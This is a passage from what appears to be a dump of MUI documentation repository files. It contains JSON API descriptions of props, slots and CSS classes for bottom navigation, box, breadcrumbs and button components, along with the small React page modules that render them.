    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"unsupportedProp\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"showLabel\": { \"type\": { \"name\": \"bool\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ label?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ label?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"BottomNavigationAction\",\n  \"imports\": [\n    \"import BottomNavigationAction from '@mui/material/BottomNavigationAction';\",\n    \"import { BottomNavigationAction } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"ButtonBase\",\n      \"class\": \"MuiBottomNavigationAction-root\"\n    },\n    {\n      \"name\": \"label\",\n      \"description\": \"The component that renders the label.\",\n      \"default\": \"span\",\n      \"class\": \"MuiBottomNavigationAction-label\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"iconOnly\",\n      \"className\": \"MuiBottomNavigationAction-iconOnly\",\n      \"description\": \"State class applied to the root element if `showLabel={false}` and not selected.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if selected.\",\n      \"isGlobal\": true\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiBottomNavigationAction\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/BottomNavigationAction/BottomNavigationAction.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-bottom-navigation/\\\">Bottom Navigation</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/bottom-navigation.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './bottom-navigation.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/bottom-navigation',\n    false,\n    /\\.\\/bottom-navigation.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/bottom-navigation.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, value: any) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"showLabels\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"BottomNavigation\",\n  \"imports\": [\n    \"import BottomNavigation from '@mui/material/BottomNavigation';\",\n    \"import { BottomNavigation } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiBottomNavigation-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiBottomNavigation\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/BottomNavigation/BottomNavigation.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-bottom-navigation/\\\">Bottom Navigation</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/box.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './box.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/box', false, /\\.\\/box.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/box.json",
    "content": "{\n  \"props\": {\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Box\",\n  \"imports\": [\"import Box from '@mui/material/Box';\", \"import { Box } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiBox-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiBox\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Box/Box.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-box/\\\">Box</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/breadcrumbs.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './breadcrumbs.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/breadcrumbs',\n    false,\n    /\\.\\/breadcrumbs.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/breadcrumbs.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"expandText\": { \"type\": { \"name\": \"string\" }, \"default\": \"'Show path'\" },\n    \"itemsAfterCollapse\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"integer\" },\n      \"default\": \"1\"\n    },\n    \"itemsBeforeCollapse\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"integer\" },\n      \"default\": \"1\"\n    },\n    \"maxItems\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"8\" },\n    \"separator\": { \"type\": { \"name\": \"node\" }, \"default\": \"'/'\" },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ collapsedIcon?: func<br>&#124;&nbsp;object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ CollapsedIcon?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Breadcrumbs\",\n  \"imports\": [\n    \"import Breadcrumbs from '@mui/material/Breadcrumbs';\",\n    \"import { Breadcrumbs } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"li\",\n      \"className\": \"MuiBreadcrumbs-li\",\n      \"description\": \"Styles applied to the li element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"ol\",\n      \"className\": \"MuiBreadcrumbs-ol\",\n      \"description\": \"Styles applied to the ol element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiBreadcrumbs-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"separator\",\n      \"className\": \"MuiBreadcrumbs-separator\",\n      \"description\": \"Styles applied to the separator element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiBreadcrumbs\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-material/src/Breadcrumbs/Breadcrumbs.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-breadcrumbs/\\\">Breadcrumbs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/button-base.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './button-base.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/button-base',\n    false,\n    /\\.\\/button-base.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/button-base.json",
    "content": "{\n  \"props\": {\n    \"action\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"centerRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"custom\", \"description\": \"element type\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableTouchRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"focusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"focusVisibleClassName\": { \"type\": { \"name\": \"string\" } },\n    \"LinkComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"'a'\" },\n    \"nativeButton\": { \"type\": { \"name\": \"bool\" } },\n    \"onFocusVisible\": { \"type\": { \"name\": \"func\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"TouchRippleProps\": { \"type\": { \"name\": \"object\" } },\n    \"touchRippleRef\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"func<br>&#124;&nbsp;{ current?: { pulsate: func, start: func, stop: func } }\"\n      }\n    }\n  },\n  \"name\": \"ButtonBase\",\n  \"imports\": [\n    \"import ButtonBase from '@mui/material/ButtonBase';\",\n    \"import { ButtonBase } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the root element if keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiButtonBase-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiButtonBase\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/ButtonBase/ButtonBase.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-button/\\\">Button</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/button-group.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './button-group.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/button-group',\n    false,\n    /\\.\\/button-group.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/button-group.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableElevation\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'horizontal'\"\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'contained'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'text'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'outlined'\"\n    }\n  },\n  \"name\": \"ButtonGroup\",\n  \"imports\": [\n    \"import ButtonGroup from '@mui/material/ButtonGroup';\",\n    \"import { ButtonGroup } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiButtonGroup-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiButtonGroup-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"contained\",\n      \"className\": \"MuiButtonGroup-contained\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"contained\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the child elements if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"disableElevation\",\n      \"className\": \"MuiButtonGroup-disableElevation\",\n      \"description\": \"Styles applied to the root element if `disableElevation={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"firstButton\",\n      \"className\": \"MuiButtonGroup-firstButton\",\n      \"description\": \"Styles applied to the first button in the button group.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiButtonGroup-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"grouped\",\n      \"className\": \"MuiButtonGroup-grouped\",\n      \"description\": \"Styles applied to the children.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiButtonGroup-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"lastButton\",\n      \"className\": \"MuiButtonGroup-lastButton\",\n      \"description\": \"Styles applied to the last button in the button group.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"middleButton\",\n      \"className\": \"MuiButtonGroup-middleButton\",\n      \"description\": \"Styles applied to buttons in the middle of the button group.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiButtonGroup-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiButtonGroup-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"text\",\n      \"className\": \"MuiButtonGroup-text\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"text\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiButtonGroup-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiButtonGroup\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ButtonGroup/ButtonGroup.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-button-group/\\\">Button Group</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/button.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './button.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/button', false, /\\.\\/button.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/button.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableElevation\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"endIcon\": { \"type\": { \"name\": \"node\" } },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"href\": { \"type\": { \"name\": \"string\" } },\n    \"loading\": { \"type\": { \"name\": \"bool\" }, \"default\": \"null\" },\n    \"loadingIndicator\": {\n      \"type\": { \"name\": \"node\" },\n      \"default\": \"<CircularProgress color=\\\"inherit\\\" size={16} />\"\n    },\n    \"loadingPosition\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'center'<br>&#124;&nbsp;'end'<br>&#124;&nbsp;'start'\"\n      },\n      \"default\": \"'center'\"\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"startIcon\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'contained'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'text'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'text'\"\n    }\n  },\n  \"name\": \"Button\",\n  \"imports\": [\n    \"import Button from '@mui/material/Button';\",\n    \"import { Button } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiButton-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiButton-colorInfo\",\n      \"description\": \"Styles applied to the root element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInherit\",\n      \"className\": \"MuiButton-colorInherit\",\n      \"description\": \"Styles applied to the root element if `color=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiButton-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiButton-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiButton-colorSuccess\",\n      \"description\": \"Styles applied to the root element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiButton-colorWarning\",\n      \"description\": \"Styles applied to the root element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"contained\",\n      \"className\": \"MuiButton-contained\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"contained\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"disableElevation\",\n      \"className\": \"MuiButton-disableElevation\",\n      \"description\": \"Styles applied to the root element if `disableElevation={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"endIcon\",\n      \"className\": \"MuiButton-endIcon\",\n      \"description\": \"Styles applied to the endIcon element if supplied.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the ButtonBase root element if the button is keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiButton-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiButton-icon\",\n      \"description\": \"Styles applied to the icon element if supplied\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loading\",\n      \"className\": \"MuiButton-loading\",\n      \"description\": \"Styles applied to the root element if `loading={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingIconPlaceholder\",\n      \"className\": \"MuiButton-loadingIconPlaceholder\",\n      \"description\": \"Styles applied to the loadingIconPlaceholder element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingIndicator\",\n      \"className\": \"MuiButton-loadingIndicator\",\n      \"description\": \"Styles applied to the loadingIndicator element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingPositionCenter\",\n      \"className\": \"MuiButton-loadingPositionCenter\",\n      \"description\": \"Styles applied to the root element if `loadingPosition=\\\"center\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingPositionEnd\",\n      \"className\": \"MuiButton-loadingPositionEnd\",\n      \"description\": \"Styles applied to the root element if `loadingPosition=\\\"end\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingPositionStart\",\n      \"className\": \"MuiButton-loadingPositionStart\",\n      \"description\": \"Styles applied to the root element if `loadingPosition=\\\"start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loadingWrapper\",\n      \"className\": \"MuiButton-loadingWrapper\",\n      \"description\": \"Styles applied to the loadingWrapper element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiButton-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiButton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeLarge\",\n      \"className\": \"MuiButton-sizeLarge\",\n      \"description\": \"Styles applied to the root element if `size=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiButton-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiButton-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"startIcon\",\n      \"className\": \"MuiButton-startIcon\",\n      \"description\": \"Styles applied to the startIcon element if supplied.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"text\",\n      \"className\": \"MuiButton-text\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"text\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiButton\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/Button/Button.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-button-group/\\\">Button Group</a></li>\\n<li><a href=\\\"/material-ui/react-button/\\\">Button</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li>\\n<li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-action-area.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './card-action-area.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/card-action-area',\n    false,\n    /\\.\\/card-action-area.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-action-area.json",
